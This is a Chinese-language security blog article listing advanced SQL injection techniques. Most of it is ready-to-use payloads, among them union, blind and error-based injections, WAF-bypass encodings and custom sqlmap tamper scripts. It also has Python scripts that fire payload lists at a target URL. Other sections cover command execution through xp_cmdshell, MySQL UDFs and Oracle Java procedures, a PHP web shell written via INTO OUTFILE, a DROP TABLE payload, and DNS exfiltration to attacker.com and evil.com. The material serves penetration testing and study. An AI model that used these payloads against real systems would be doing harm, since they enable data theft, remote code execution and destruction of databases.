长亭百川云 - 文章详情

一文带你细数那些高级 SQL 注入技术

visionsec

61

2024-07-24

一. 先进的有效载荷和技术

基于错误的 SQL 注入

  • 高级错误负载:

    ' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) -- -
    

基于联合的注入

  • 确定列数:

    ' UNION SELECT NULL, NULL, NULL, NULL --
    
  • 提取数据:

    ' UNION SELECT username, password, NULL, NULL FROM users --
    

盲 SQL 注入

  • 基于布尔的盲注:

    ' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) --
    
  • 基于时间的盲注:

    ' AND IF(1=1, SLEEP(5), 0) --
    

二阶 SQL 注入

  • 配置文件信息注入:修改存储在一个地方的数据以影响在其他地方执行的查询。

高级基于联合的 SQL 注入

1.基于 Union 的错误处理

通过制作复杂的有效负载来生成详细的错误消息:

' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(\*) FROM information\_schema.tables) AS INT) --
2. 十六进制编码联合

对查询的部分内容进行编码以逃避 WAF:

' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() --
3. 多查询联合注入

利用多个查询来提取更多数据:

' UNION SELECT 1, database(), (SELECT GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE table\_schema=database()), user() --
4.基于联合的跨数据库提取

合并来自不同数据库的数据(当支持时):

' UNION SELECT 1, (SELECT column\_name FROM db1.table1 LIMIT 1), (SELECT column\_name FROM db2.table2 LIMIT 1), user() --

高级布尔型 SQL 注入

1. 基于时间的布尔注入与条件响应

使用时间延迟根据条件响应推断数据:

' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
2. 嵌套布尔注入

嵌套条件提取特定数据:

' AND IF((SELECT SUBSTRING((SELECT table\_name FROM information\_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) --
3.基于错误的布尔注入

有条件地强制错误以显示信息:

' AND IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables), 1) --
4. 使用按位运算

使用按位运算来增加混淆度和复杂性:

' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --

结合技术

结合多种先进技术,打造强大且更难检测的有效载荷。

示例:基于时间的注入联合

创建使用联合和基于时间的注入的有效载荷:

' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --
示例:嵌套联合和布尔注入

将嵌套布尔条件与基于联合的数据提取相结合:

' UNION SELECT 1, IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables LIMIT 1), 1), 3, 4 --

使用自定义脚本实现自动化

使用自定义脚本自动执行这些先进技术,以有效地测试和提取数据。

示例:高级 Union 注入的 Python 脚本

import requests  
  
url = "http://example.com/vulnerable.php"  
payloads = \[  
    \# Advanced Union-Based Injections  
    "' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(\*) FROM information\_schema.tables) AS INT) -- ",  
    "' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ",  
    "' UNION SELECT 1, database(), (SELECT GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE table\_schema=database()), user() -- ",  
    "' UNION SELECT 1, (SELECT column\_name FROM db1.table1 LIMIT 1), (SELECT column\_name FROM db2.table2 LIMIT 1), user() -- ",  
    \# Advanced Boolean-Based Injections  
    "' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ",  
    "' AND IF((SELECT SUBSTRING((SELECT table\_name FROM information\_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ",  
    "' AND IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables), 1) -- ",  
    "' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) -- ",  
    \# Combined Techniques  
    "' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 -- ",  
    "' UNION SELECT 1, IF((SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema=database())>5, (SELECT table\_name FROM information\_schema.tables LIMIT 1), 1), 3, 4 -- ",  
\]  
  
for payload in payloads:  
    response = requests.get(url, params\={"id": payload})  
    print(f"Payload: {payload}")  
    print(f"Response: {response.text}\\n")

二. 高级枚举

数据库指纹

  • MySQL:

    ' OR 1=1 AND @@version --
    
  • PostgreSQL:

    ' OR 1=1 AND version() --
    
  • MSSQL:

    ' OR 1=1 AND @@version --
    

列枚举

  • 确定列数:

    ' ORDER BY 1 --   
    ' ORDER BY 2 --
    
  • 提取列名:

    ' UNION SELECT column\_name FROM information\_schema.columns WHERE table\_name='users' --
    

高级数据提取

  • 将多行合并为单个输出:

    ' UNION SELECT GROUP\_CONCAT(username, 0x3a, password) FROM users --
    

三. 绕过过滤器和 WAF

混淆

  • 使用评论:

    ' UNION/\*\*/SELECT/\*\*/NULL,NULL,NULL --
    

案件操纵

  • 更改 SQL 关键字的大小写:

    ' uNioN SeLecT NULL, NULL --
    

内联

  • 插入内联评论:

    ' UNION/\*\*/SELECT/\*\*/NULL,NULL --
    

空格处理

  • 使用不同类型的空白字符:

    ' UNION%0D%0ASELECT%0D%0A NULL,NULL --
    

四. 利用高级场景

存储过程

  • 执行任意 SQL:

    '; EXEC xp\_cmdshell('whoami') --
    

带外 SQL 注入

  • 通过 DNS 或 HTTP 请求窃取数据:

    '; EXEC master..xp\_dirtree '\\\\evil.com\\payload' --
    

利用特权

  • 读取或写入文件:

    ' UNION SELECT LOAD\_FILE('/etc/passwd') --
    

五. 自动化和自定义脚本

自定义 SQLMap 命令

  • 绕过 WAF 或针对特定注入点:

    sqlmap \-u "http://example.com/vulnerable.php?id=1" \--tamper\=space2comment \--level\=5 \--risk\=3
    
  • 我使用的一些篡改脚本 tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

六. 创建自己的篡改脚本

为 SQLMap 创建自己的篡改脚本需要编写一个 Python 脚本,该脚本会修改 SQLMap 用来规避 Web 应用程序防火墙 (WAF) 或其他过滤机制的有效负载。以下是创建自定义篡改脚本的分步指南。

步骤 1:了解篡改脚本的基础知识

篡改脚本会修改发送到服务器的有效负载。该脚本应包含一个名为的函数,tamper
该函数以有效负载字符串作为参数并返回修改后的有效负载字符串。

步骤2:篡改脚本的结构

以下是篡改脚本的基本结构:

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    \# Modify the payload here  
    modified\_payload = payload  
    return modified\_payload
  • priority
    :定义篡改脚本的应用顺序。

  • dependencies()
    :检查任何所需的依赖项。

  • tamper(payload)
    :修改payload的主要函数。

步骤3:实现简单的篡改脚本

让我们创建一个简单的篡改脚本,用注释替换空格以逃避基本过滤器。

示例:空间到注释篡改脚本

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    """  
    Replaces space character (' ') with a random inline comment ('/\*\*/')  
    """  
    if payload:  
        payload = payload.replace(" ", "/\*\*/")  
    return payload

步骤 4:更高级的示例

现在,让我们创建一个更高级的篡改脚本,随机对有效负载中的字符进行 URL 编码。

示例:随机 URL 编码篡改脚本

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    """  
    Randomly URL encodes characters in the payload  
    """  
    if payload:  
        encoded\_payload = ""  
        for char in payload:  
            if random.randint(0, 1):  
                encoded\_payload += "%%%02x" % ord(char)  
            else:  
                encoded\_payload += char  
        return encoded\_payload  
    return payload

步骤5:保存并使用篡改脚本

  1. 保存脚本:将您的篡改脚本保存在tamper
    SQLMap 安装目录中。例如,将其保存为random_urlencode.py

  2. 使用脚本:使用--tamper
    SQLMap 中的选项应用您的自定义篡改脚本。

sqlmap \-u "http://example.com/vulnerable.php?id=1" \--tamper\=random\_urlencode

步骤6:测试和调试

  • 测试:通过使用不同的有效负载运行 SQLMap 确保脚本按预期工作。

  • 调试:如有必要,打印调试信息。您可以在tamper
    函数中添加打印语句来调试脚本。

调试示例

#!/usr/bin/env python  
  
import random  
  
\_\_priority\_\_ = 1  
  
def dependencies():  
    pass  
  
def tamper(payload):  
    """  
    Randomly URL encodes characters in the payload  
    """  
    if payload:  
        encoded\_payload = ""  
        for char in payload:  
            if random.randint(0, 1):  
                encoded\_payload += "%%%02x" % ord(char)  
            else:  
                encoded\_payload += char  
        print(f"Original: {payload}")  
        print(f"Modified: {encoded\_payload}")  
        return encoded\_payload  
    return payload

七.更多技巧

堆叠查询

  • 执行多个语句:

    '; DROP TABLE users; SELECT \* FROM admin --
    

带有 Web 应用程序防火墙的 SQLi

  • 使用混淆的有效载荷:

    ' UNION SELECT CHAR(117,115,101,114,110,97,109,101), CHAR(112,97,115,115,119,111,114,100) --
    

利用 SQL 函数

  • 使用 SQL 函数进行数据泄露:

    ' UNION SELECT version(), current\_database() --
    

DNS 泄露

  • 使用 DNS 请求进行数据泄露:

    '; SELECT load\_file('/etc/passwd') INTO OUTFILE '\\\\\\\\attacker.com\\\\share' --
    

利用 JSON 函数

  • 使用 JSON 函数提取数据:

    ' UNION SELECT json\_extract(column\_name, '$.key') FROM table\_name --
    

八. 先进的自动化技术

SQLMap 自定义

  • 使用自定义篡改脚本:

    sqlmap \-u "http://example.com/vulnerable.php?id=1" \--tamper\=~/location/ofthescript/charencode.py \--level\=5 \--risk\=3
    

九. SQL 注入的 WAF 绕过技术

1. 使用编码和混淆

URL 编码

  • 对有效载荷的部分进行编码以绕过基本的关键字检测。

    %27%20UNION%20SELECT%20NULL,NULL,NULL--
    

双重 URL 编码

  • 对有效载荷进行双重编码以逃避检测机制。

    %2527%2520UNION%2520SELECT%2520NULL,NULL,NULL--
    

十六进制编码

  • 对有效载荷使用十六进制编码。

    ' UNION SELECT 0x61646D696E, 0x70617373776F7264 --
    

2. 案例操作及评论

混合大小写

  • 更改 SQL 关键字的大小写。

    ' uNioN SeLecT NULL, NULL --
    

内联评论

  • 在 SQL 关键字中插入注释来混淆有效负载。

    ' UNION/\*\*/SELECT/\*\*/NULL,NULL --
    

3. 空格和特殊字符

使用不同的空白字符

  • 用其他空白字符(如制表符或换行符)替换空格。

    ' UNION%0D%0ASELECT%0D%0A NULL,NULL --
    

与特殊字符连接

  • 使用特殊字符和连接来动态构建有效载荷。

    ' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --
    

4. SQL函数和命令混淆

字符串连接

  • 将字符串分解成更小的部分并将它们连接起来。

    ' UNION SELECT 'ad'||'min', 'pa'||'ss' --
    

使用 SQL 函数

  • 利用 SQL 函数来操纵有效负载。

    ' UNION SELECT VERSION(), DATABASE() --
    

5.基于时间和基于布尔的有效载荷

基于时间的盲注入

  • 使用时间延迟从响应中推断信息。

    ' AND IF(1=1, SLEEP(5), 0) --
    

基于布尔的盲注入

  • 使用根据真实或虚假条件改变响应的条件。

    ' AND IF(1=1, 'A', 'B')='A' --
    

6. 高级编码技术

Base64 编码

  • 使用 Base64 对有效载荷进行编码。

    ' UNION SELECT FROM\_BASE64('c2VsZWN0IHZlcnNpb24oKQ\==') --
    

自定义编码脚本

  • 创建自定义脚本来对不同格式的有效负载进行编码和解码。

7. 链接技术

结合多种绕过技术

  • 使用多种技术来创建更复杂、更难检测的有效载荷。

    %27%20UNION/\*\*/SELECT/\*\*/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A
    

8. 利用鲜为人知的 SQL 功能

使用 JSON 函数

  • 利用 JSON 函数来操作和提取数据。

    ' UNION SELECT json\_extract(column\_name, '$.key') FROM table\_name --
    

使用 XML 函数

  • 利用 XML 函数创建更复杂的有效负载。

    ' UNION SELECT extractvalue(1, 'version()') --
    

十. 强制数据库错误以进行 SQL 注入的技术

强制数据库中的错误有助于揭示有关底层 SQL 查询、数据库结构甚至数据本身的宝贵信息。以下是一些强制各种数据库中错误的高级技术:

1.语法错误

经典语法错误

  • 引入故意的语法错误来引出错误消息。

    ' OR 1=1; --
    

未结束的引号

  • 留下未封闭的引文将会产生错误。

    ' OR 'a'='a
    

2. 类型转换错误

类型转换无效

  • 将字符串转换为整数会导致类型转换错误。

    ' UNION SELECT CAST('abc' AS SIGNED) --
    

3. 基于功能的错误

被零除

  • 强制除以零错误。

    ' UNION SELECT 1/0 --
    

函数使用无效

  • 错误地使用函数会触发错误。

    ' UNION SELECT EXP('abc') --
    

4.子查询错误

无效子查询

  • 以导致错误的方式使用子查询。

    ' UNION SELECT (SELECT COUNT(\*) FROM (SELECT 1 UNION SELECT 2) AS temp) --
    

5. 数据库特定错误

MySQL 错误

  • 使用无效查询来触发 MySQL 特定的错误。

    ' UNION SELECT GTID\_SUBSET('abc', 'def') --
    

PostgreSQL 错误

  • 使用无效操作导致 PostgreSQL 错误。

    ' UNION SELECT TO\_NUMBER('abc', '999') --
    

MSSQL 错误

  • 错误使用 MSSQL 特定函数会触发错误。

    ' UNION SELECT CONVERT(INT, 'abc') --
    

6. 信息模式查询

表名无效

  • 使用无效的表名查询信息模式。

    ' UNION SELECT table\_name FROM information\_schema.tables WHERE table\_name = 'non\_existent\_table' --
    

7. 盲 SQL 注入错误

故意虚假情况

  • 使用错误条件间接强制发生错误。

    ' AND 1=(SELECT COUNT(\*) FROM information\_schema.tables WHERE table\_schema='non\_existent\_database') --
    

8. 高级错误技术

递归查询

  • 使用递归查询来强制错误。

    ' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4) AS temp WHERE temp=1 --
    

无效的十六进制值

  • 使用无效的十六进制值触发错误。

    ' UNION SELECT 0xZZ --
    

9. 结合技术

链式错误强制

  • 结合多种强制错误技术以获得更为稳健的结果。

    ' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT TO\_NUMBER('abc', '999') --
    

强制数据库错误以进行 SQL 注入的技术

以下是一些针对 MSSQL、MySQL 和 Oracle 的高级且罕见的 SQL 注入技术。这些技术超越了基本技术,并利用了数据库的特定功能和配置。

MSSQL

  1. OLE 自动化程序

    DECLARE @Object INT;  
    EXEC sp\_OACreate 'WScript.Shell', @Object OUTPUT;  
    EXEC sp\_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\\output.txt';
    

    这使用 OLE 自动化程序来执行系统命令。

  2. 具有权限提升功能的 XP_CMD Shell

    EXEC sp\_configure 'show advanced options', 1;  
    RECONFIGURE;  
    EXEC sp\_configure 'xp\_cmdshell', 1;  
    RECONFIGURE;  
    EXEC xp\_cmdshell 'whoami';
    

    xp_cmdshell
    如果尚未启用,这将启用执行系统命令。

  3. 链接服务器

    EXEC sp\_addlinkedserver 'attacker\_server';  
    EXEC sp\_addlinkedsrvlogin 'attacker\_server', 'false', NULL, 'username', 'password';  
    EXEC ('xp\_cmdshell ''net user''') AT attacker\_server;
    

    该技术使用链接服务器在不同的服务器上运行命令。

MySQL

  1. 用于远程命令执行的 UDF(用户定义函数)

    CREATE TABLE foo(line BLOB);  
    INSERT INTO foo VALUES (LOAD\_FILE('/usr/lib/lib\_mysqludf\_sys.so'));  
    SELECT \* FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/lib\_mysqludf\_sys.so';  
    CREATE FUNCTION sys\_exec RETURNS INTEGER SONAME 'lib\_mysqludf\_sys.so';  
    SELECT sys\_exec('id > /tmp/out; chown mysql.mysql /tmp/out');
    

    该技术涉及创建 UDF 来执行系统命令。

  2. DNS 泄露

    SELECT LOAD\_FILE(CONCAT('\\\\\\\\', (SELECT table\_name FROM information\_schema.tables LIMIT 0,1), '.attacker.com\\\\a'));
    

    这会通过 DNS 请求将数据泄露到攻击者控制的域。

  3. 二进制日志注入

    SET GLOBAL general\_log \= 'ON';  
    SET GLOBAL general\_log\_file \= '/var/lib/mysql/mysql.log';  
    SELECT '<?php system($\_GET\["cmd"\]); ?>' INTO OUTFILE '/var/www/html/shell.php';
    

    这利用二进制日志功能来编写 Web shell。

Oracle

  1. 命令执行的 Java 过程

    EXEC dbms\_java.grant\_permission( 'SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );  
    EXEC dbms\_java.grant\_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' );  
    EXEC dbms\_java.grant\_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );  
      
    CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS  
    import java.io.\*;  
    public class cmd {  
       public static String run(String cmd) {  
          try {  
             StringBuffer output \= new StringBuffer();  
             Process p \= Runtime.getRuntime().exec(cmd);  
             BufferedReader reader \= new BufferedReader(new InputStreamReader(p.getInputStream()));  
             String line \= "";  
             while ((line \= reader.readLine())!= null) {  
                output.append(line + "\\n");  
             }  
             return output.toString();  
          } catch (Exception e) {  
             return e.toString();  
          }  
       }  
    };  
    /  
      
    CREATE OR REPLACE FUNCTION run\_cmd(p\_cmd IN VARCHAR2) RETURN VARCHAR2  
    AS LANGUAGE JAVA  
    NAME 'cmd.run(java.lang.String) return java.lang.String';  
    /  
      
    SELECT run\_cmd('id') FROM dual;
    

    这使用 Java 存储过程来执行系统命令。

  2. 用于文件访问的 UTL_FILE 程序包

    DECLARE  
       l\_file UTL\_FILE.FILE\_TYPE;  
       l\_text VARCHAR2(32767);  
    BEGIN  
       l\_file :\= UTL\_FILE.FOPEN('DIRECTORY\_NAME', 'output.txt', 'W');  
       UTL\_FILE.PUT\_LINE(l\_file, 'Data from UTL\_FILE');  
       UTL\_FILE.FCLOSE(l\_file);  
    END;
    

    该技术使用UTL_FILE
    包将文件写入服务器。

  3. DBMS_SCHEDULER 用于作业执行

    BEGIN  
       DBMS\_SCHEDULER.create\_job(  
          job\_name \=> 'job1',  
          job\_type \=> 'PLSQL\_BLOCK',  
          job\_action \=> 'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END;',  
          start\_date \=> SYSTIMESTAMP,  
          repeat\_interval \=> NULL,  
          end\_date \=> NULL,  
          enabled \=> TRUE  
       );  
    END;
    

    这用于DBMS_SCHEDULER
    执行可以改变数据库权限的作业。

十一. 在各种 DBMS 上强制生成错误的高级方法

以下是一些特定于某些 DBMS 的高级技术,用于强制错误并收集有价值的信息。通过使用这些高级方法在不同的 DBMS 上强制错误,您可以收集详细的错误消息,这些消息揭示了有关数据库的有价值信息,帮助您更有效地识别和利用 SQL 注入漏洞。

MySQL

使用无效函数

  • MySQL 提供的许多函数如果使用不当,可能会产生错误。

    ' AND EXP(~(SELECT \* FROM (SELECT 1) t)) --
    

十六进制转换无效

  • 使用无效的十六进制值可能会导致错误。

    ' AND 0xG1 --
    

SELECT 子句中的子查询

  • 使用在单个值上下文中返回多行的子查询。

    ' AND (SELECT \* FROM (SELECT 1,2) t) = 1 --
    

PostgreSQL

无效的正则表达式

  • PostgreSQL 的正则表达式函数如果使用不当可能会导致错误。

    ' AND 'a' ~ 'b\[' --
    

无效的 JSON 操作

  • 使用具有无效操作的 JSON 函数。

    ' AND jsonb\_path\_query\_first('{"a":1}', '$.a') --
    

递归 CTE

  • 错误地使用递归通用表表达式 (CTE)。

    ' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT \* FROM t --
    

MSSQL

无效的 XML 查询

  • 当与无效 XML 一起使用时,MSSQL 的 XML 函数会产生错误。

    '; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)\[1\]', 'INT') --
    

无效数据转换

  • 转换不兼容的数据类型时,转换函数可能会导致错误。

    '; SELECT CAST('text' AS INT) --
    

使用错误函数进行 SQL 注入

  • 使用内置错误函数生成错误。

    '; RAISERROR('Error generated', 16, 1) --
    

甲骨文

无效数据操作

  • Oracle 的特定函数和数据操作可能会导致错误。

    ' UNION SELECT UTL\_INADDR.get\_host\_address('invalid\_host') FROM dual --
    

XMLType 用法无效

  • 不正确地使用XMLType会导致错误。

    ' UNION SELECT XMLType('<invalid><xml>') FROM dual --
    

使用 SYS.DBMS_ASSERT

  • 利用 Oracle 的断言包来强制错误。

    ' UNION SELECT SYS.DBMS\_ASSERT.noop('invalid\_input') FROM dual --
    

SQLite

无效的字符串函数

  • SQLite 的字符串函数如果使用不当,可能会产生错误。

    ' UNION SELECT SUBSTR('text', -1, 1) --
    

无效的数学运算

  • 使用具有无效输入的数学函数。

    ' UNION SELECT POW('text', 2) --
    

无效的日期函数

  • 使用带有不正确参数的日期函数。

    ' UNION SELECT DATE('invalid\_date') --
    

强制错误的 Python 脚本

自动错误注入

import requests  
  
url = "http://example.com/vulnerable.php"  
payloads = \[  
    \# MySQL  
    "' AND EXP(~(SELECT \* FROM (SELECT 1) t)) -- ",  
    "' AND 0xG1 -- ",  
    "' AND (SELECT \* FROM (SELECT 1,2) t) = 1 -- ",  
    \# PostgreSQL  
    "' AND 'a' ~ 'b\[' -- ",  
    "' AND jsonb\_path\_query\_first('{'a':1}', '$.a') -- ",  
    "' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT \* FROM t -- ",  
    \# MSSQL  
    "; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)\[1\]', 'INT') -- ",  
    "; SELECT CAST('text' AS INT) -- ",  
    "; RAISERROR('Error generated', 16, 1) -- ",  
    \# Oracle  
    "' UNION SELECT UTL\_INADDR.get\_host\_address('invalid\_host') FROM dual -- ",  
    "' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",  
    "' UNION SELECT SYS.DBMS\_ASSERT.noop('invalid\_input') FROM dual -- ",  
    \# SQLite  
    "' UNION SELECT SUBSTR('text', -1, 1) -- ",  
    "' UNION SELECT POW('text', 2) -- ",  
    "' UNION SELECT DATE('invalid\_date') -- ",  
\]  
  
for payload in payloads:  
    response = requests.get(url, params\={"id": payload})  
    print(f"Payload: {payload}")  
    print(f"Response: {response.text}\\n")

十二. 使用强制错误提取数据库名称和主机名

这些先进的基于错误的 SQL 注入技术,您可以提取关键信息,例如数据库名称和主机名,这可以进一步帮助您的开发工作。

MySQL

提取数据库名称

  • 使用基于错误的注入来提取数据库名称。

    ' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) --
    

提取主机名

  • 使用基于错误的注入来提取主机名。

    ' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) --
    

PostgreSQL

提取数据库名称

  • 使用基于错误的注入来提取当前数据库名称。

    ' AND 1=CAST((SELECT current\_database()) AS INT) --
    

提取主机名

  • PostgreSQL 没有直接提供主机名函数,但您可以使用其他元数据查询或内置扩展,例如

    inet\_server\_addr
    
    ' AND 1=CAST((SELECT inet\_server\_addr()) AS INT) --
    

MSSQL

提取数据库名称

  • 使用基于错误的注入来提取当前数据库名称。

    '; SELECT 1 WHERE 1=CAST(DB\_NAME() AS INT) --
    

提取主机名

  • 使用基于错误的注入来提取服务器主机名。

    '; SELECT 1 WHERE 1=CAST(@@servername AS INT) --
    

Oracle

提取数据库名称

  • 使用基于错误的注入来提取当前数据库名称。

    ' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora\_database\_name FROM dual) AS INT) --
    

提取主机名

  • 使用基于错误的注入来提取主机名。

    ' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS\_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) --
    

SQLite

提取数据库名称

  • SQLite 每个文件使用单个数据库,但您可以强制出现错误以显示与数据库相关的信息。

    ' AND 1=CAST((SELECT name FROM sqlite\_master WHERE type='table' LIMIT 1) AS INT) --
    

提取主机名

  • SQLite 本身没有主机名,因为它是基于文件的数据库。但是,您可以推断文件路径,这可能会提供线索。

    ' AND 1=CAST((SELECT file FROM pragma\_database\_list LIMIT 1) AS INT) --
    

Python 脚本实现流程自动化

import requests  
  
url = "http://example.com/vulnerable.php"  
payloads = \[  
    \# MySQL  
    "' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) -- ",  
    "' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)\*2)) x FROM information\_schema.tables GROUP BY x) y) -- ",  
    \# PostgreSQL  
    "' AND 1=CAST((SELECT current\_database()) AS INT) -- ",  
    "' AND 1=CAST((SELECT inet\_server\_addr()) AS INT) -- ",  
    \# MSSQL  
    "; SELECT 1 WHERE 1=CAST(DB\_NAME() AS INT) -- ",  
    "; SELECT 1 WHERE 1=CAST(@@servername AS INT) -- ",  
    \# Oracle  
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora\_database\_name FROM dual) AS INT) -- ",  
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS\_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) -- ",  
    \# SQLite  
    "' AND 1=CAST((SELECT name FROM sqlite\_master WHERE type='table' LIMIT 1) AS INT) -- ",  
    "' AND 1=CAST((SELECT file FROM pragma\_database\_list LIMIT 1) AS INT) -- ",  
\]  
  
for payload in payloads:  
    response = requests.get(url, params\={"id": payload})  
    print(f"Payload: {payload}")
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2